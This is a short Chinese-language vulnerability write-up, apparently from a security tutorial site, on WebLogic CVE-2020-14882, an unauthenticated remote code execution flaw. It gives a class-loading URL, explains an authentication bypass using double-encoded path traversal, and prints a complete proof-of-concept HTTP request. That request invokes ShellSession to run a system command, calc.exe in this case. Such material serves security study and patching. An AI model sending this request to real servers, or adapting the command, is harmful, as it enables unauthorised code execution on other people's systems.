Weblogic-2020-14882-棉花糖会员站

# Weblogic反序列化漏洞-CVE-2020-14882

## 简介

未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求，利用该漏洞在受影响的 WebLogic Server 上执行任意代码。

![img](/static/baige/06-中间件框架漏洞/Weblogic/https://potatso-1253210846.cos.ap-beijing.myqcloud.com//img20201028190943.png)

根据补丁diff结果我们可以看出，可以看出上面的变化

我们可以通过下面的代码，任意加载某个类或者对象

“`
http:///console/console.portal?_nfpb=true&_pageLabel=HomePage1&handle=java.lang.String(“ahihi”)
“`

![img](/static/baige/06-中间件框架漏洞/Weblogic/https://potatso-1253210846.cos.ap-beijing.myqcloud.com//img20201028191206.png)

## 未授权访问

![img](/static/baige/06-中间件框架漏洞/Weblogic/https://potatso-1253210846.cos.ap-beijing.myqcloud.com//img20201028191328.png)

非法字符绕过登陆保护

## POC

首先通过非法字符绕过访问，然后通过Gadget调用命令执行，poc如下

![img](/static/baige/06-中间件框架漏洞/Weblogic/https://potatso-1253210846.cos.ap-beijing.myqcloud.com//img20201028191447.png)

“`
GET /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22); HTTP/1.1
Host: 192.168.3.189:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ADM
Upgrade-Insecure-Requests: 1
“`

文章版权归作者所有，未经允许请勿转载。

THE END